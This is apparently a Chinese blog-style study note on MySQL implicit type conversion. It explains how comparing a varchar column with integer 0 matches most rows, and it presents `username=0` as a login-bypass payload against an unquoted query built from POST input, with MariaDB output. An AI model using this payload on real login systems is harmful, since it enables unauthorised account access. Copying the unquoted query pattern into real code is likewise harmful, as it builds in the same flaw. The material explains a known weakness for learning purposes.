今天还是和往常一样看着微信推的订阅号文章
有一篇 select * from user where uersname=0引起了我的思考
其实这个问题是MySQL隐式转化整理存在的安全问题
网上一搜比较多,我这里就参考师傅们写的文章进行总结和学校
官方给的解释:
MySQL 的隐式类型转换原则:
– 两个参数至少有一个是 NULL 时,比较的结果也是 NULL,例外是使用 <=> 对两个 NULL 做比较时会返回 1,这两种情况都不需要做类型转换
– 两个参数都是字符串,会按照字符串来比较,不做类型转换
– 两个参数都是整数,按照整数来比较,不做类型转换
– 十六进制的值和非数字做比较时,会被当做二进制串,和数字做比较时会按下面的规则处理
– 有一个参数是 TIMESTAMP 或 DATETIME,并且另外一个参数是常量,常量会被转换为 timestamp
– 有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较
– 所有其他情况下,两个参数都会被转换为浮点数再进行比较
注意一个安全问题:假如 password 类型为字符串,查询条件为 int 0 则会匹配上。
在这里我就只是总结用法,详细的原理下面会给出师傅们链接。防止重复造轮子
在一般的网站登录的用户名和密码都是varchar类型
这样就可能存在安全问题(下面讨论就是比较经典,师傅们可以自由发挥好)
select * from user where uersname=$_POST['username']
user表有
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin1 | 12345 |
| 2 | admin2 | 123 |
| 3 | admin3 | 321 |
+----+----------+----------+
我们就可以直接利用payload:
select * from user where uersname=0
进行查询
MariaDB [test]> select * from user where username=0;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin1 | 12345 |
| 2 | admin2 | 123 |
| 3 | admin3 | 321 |
+----+----------+----------+
原因就是上面说的进行了隐式转化 username是varchar类型,但是查询的时候使用了0(int)类型
这样username的值就进行了隐式转化成0,刚刚好0=0,就查询出来了全部
MariaDB [test]> select "admin"=0;
+-----------+
| "admin"=0 |
+-----------+
| 1 |
+-----------+
#这样我们就可以尝试新方法的万能密码
但是如果username字段里面的值不能字母开头的是数字开头的那就不能进行万能密码
MariaDB [test]> select "1213admin"=0;
+---------------+
| "1213admin"=0 |
+---------------+
| 0 |
+---------------+
总结:
0. 从上面的例子可以看出,当把字符串转为数字的时候,其实是从左边开始处理的。
- 如果字符串的第一个字符就是非数字的字符,那么转换为数字就是0
-
如果字符串以数字开头
2.1 如果字符串中都是数字,那么转换为数字就是整个字符串对应的数字
2.2 如果字符串中存在非数字,那么转换为的数字就是开头的那些数字对应的值
参考
https://www.cnblogs.com/rollenholt/p/5442825.html